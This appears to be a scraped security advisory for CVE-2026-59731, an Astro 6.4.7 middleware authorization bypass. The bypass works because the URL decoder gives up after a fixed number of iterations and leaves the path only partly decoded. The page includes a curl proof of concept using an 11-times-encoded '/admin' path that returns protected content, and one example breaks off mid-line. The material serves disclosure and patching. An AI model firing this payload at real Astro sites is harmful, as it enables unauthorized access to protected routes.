Astro: Authorization Bypass via Decode Iteration Limit and Rewrite Path Canonicalization Mismatch
# Astro 6.4.7 Authorization Bypass via Decode Iteration Limit and Rewrite Path Canonicalization Mismatch
Astro 6.4.7 appears to reintroduce a middleware authorization bypass pattern when a request path is encoded more deeply than the newly introduced iterative URL decoder's maximum decoding depth.
The issue occurs because Astro performs authorization decisions on a partially decoded pathname after reaching a decoding iteration cap, while later route matching logic performs an additional decodeURI() operation and resolves the request to a protected route.
As a result, middleware and route matching may operate on different pathname representations, enabling authorization bypasses under specific application patterns.
Potential CWE: CWE-647 – Use of Non-Canonical URL Paths for Authorization Decisions
Middleware authorization sees:
```text
/%61dmin
```
Later rewrite route matching sees:
```text
/admin
```
This discrepancy allows a request that bypasses middleware checks to subsequently resolve to a protected route.
PR #16967 introduced iterative URI decoding:
```js
let iterations = 0;
while (decoded !== pathname && iterations < 10) {
pathname = decoded;
try {
decoded = decodeURI(pathname);
} catch {
// decodeURI can fail when a decoded literal '%' forms an
// invalid sequence with adjacent characters.
break;
}
iterations++;
}
return decoded;
```
The intent was to ensure middleware receives a fully decoded canonical pathname.
However, once the iteration cap is reached, Astro returns the partially decoded value instead of rejecting the request.
Later, Astro performs another decode during route matching:
```js
const decodedPathname = decodeURI(pathname);
```
Consequently:
```text
Middleware pathname: /%61dmin
Route matcher: /admin
```
This creates a canonicalization mismatch between authorization logic and routing logic.
```js
import { defineMiddleware } from 'astro:middleware';
export const onRequest = defineMiddleware(async (context, next) => {
const pathname = context.url.pathname;
if (pathname === '/admin' || pathname.startsWith('/admin/')) {
return new Response(
'403 Forbidden: middleware blocked canonical /admin',
{
status: 403,
headers: {
'content-type': 'text/plain;charset=UTF-8',
'x-middleware-pathname': pathname,
},
}
);
}
if (pathname !== '/') {
const response = await next(context.url);
response.headers.set('x-middleware-pathname', pathname);
response.headers.set(
'x-vuln-pattern',
'next(context.url) rewrite after pathname check'
);
return response;
}
return next();
});
```
The critical pattern is:
```js
return next(context.url);
```
The middleware makes an authorization decision using a non-canonical path and then forwards the URL into Astro's rewrite machinery.
```bash
curl -i http://127.0.0.1:8989/admin
```
Response:
```http
HTTP/1.1 403 Forbidden
x-middleware-pathname: /admin
403 Forbidden: middleware blocked canonical /admin
```
```bash
curl -i http://127.0.0.1:8989/%252525252525252525252561dmin
```
Response:
```http
HTTP/1.1 200 OK
x-middleware-pathname: /%61dmin
x-vuln-pattern: next(context.url) rewrite after pathname check
Admin page reached
Protected content rendered after rewrite route matching.
request url: http://127.0.0.1:8989/%61dmin
```
This demonstrates:
```text
Middleware saw: /%61dmin
Router reached: /admin
```
The bypass occurs at encoding depth 11.
```text
depth 0: /%61dmin -> /admin
depth 1: /%2561dmin -> /admin
depth 2: /%252561dmin -> /admin
depth 3: /%25252561dmin -> /admin
depth 4: /%2525252561dmin -> /admin
depth 5: /%252525252561dmin -> /admin
depth 6: /%25252525252561dmin -> /admin
depth 7: /%2525252525252561dmin -> /admin
depth 8: /%252525252525252561dmin -> /admin
depth 9: /%25252525252525252561dmin -> /admin
depth 10: /%2525252525252525252561dmin -> /admin
depth 11: /%252525252525252525252561dmin -> /%61dmin
```
Depths 0–10 are fully decoded and blocked by middleware.
Depth 11 is the first depth where Astro returns a partially decoded pathname due to the iteration limit.
A later decodeURI() converts:
```text
/%61dmin
```
into:
```text
/admin
```
allowing route matching to reach the protected endpoint.
Exploitation requires:
Middleware performs authorization using:
```js
context.url.pathname
```
For example:
```js
i
This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity low, availability none.
The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
CVE-2026-59731 is classified as CWE-647: Use of Non-Canonical URL Paths for Authorization Decisions. The product defines policy namespaces and makes authorization decisions based on the assumption that a URL is canonical. This can allow a non-canonical URL to bypass the authorization.
CVE-2026-59731 is recorded against 2 packages.
Published on 20 July 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.
github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Web)
github.com (Package)
github.com (Web)
astro has other advisories on record. If you are patching this one, these are worth checking on the same host:
These advisories are the same class of weakness (CWE-647: Use of Non-Canonical URL Paths for Authorization Decisions) in other software:
Details
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| astro | — | — |
| unknown | — | — |
References
Similar Threats
Site Security Check
CVE-2026-59731 is rated CVSS 8.2 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.
Scan My Site Free →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.
Stay up to date with the latest from Boteraser.
We use cookies to improve your experience on our site. By using our site, you consent to cookies.
Manage your cookie preferences below:
Essential cookies enable basic functions and are necessary for the proper function of the website.
CloudFlare provides web performance and security solutions, enhancing site speed and protecting against threats.
Service URL: developers.cloudflare.com (opens in a new window)
These cookies are needed for adding comments on this website.
These cookies are used for managing login functionality on this website.
Statistics cookies collect information anonymously. This information helps us understand how visitors use our website.
Google Analytics is a powerful tool that tracks and analyzes website traffic for informed marketing decisions.
Service URL: policies.google.com (opens in a new window)
You can find more information in our Cookie Policy and Privacy Policy.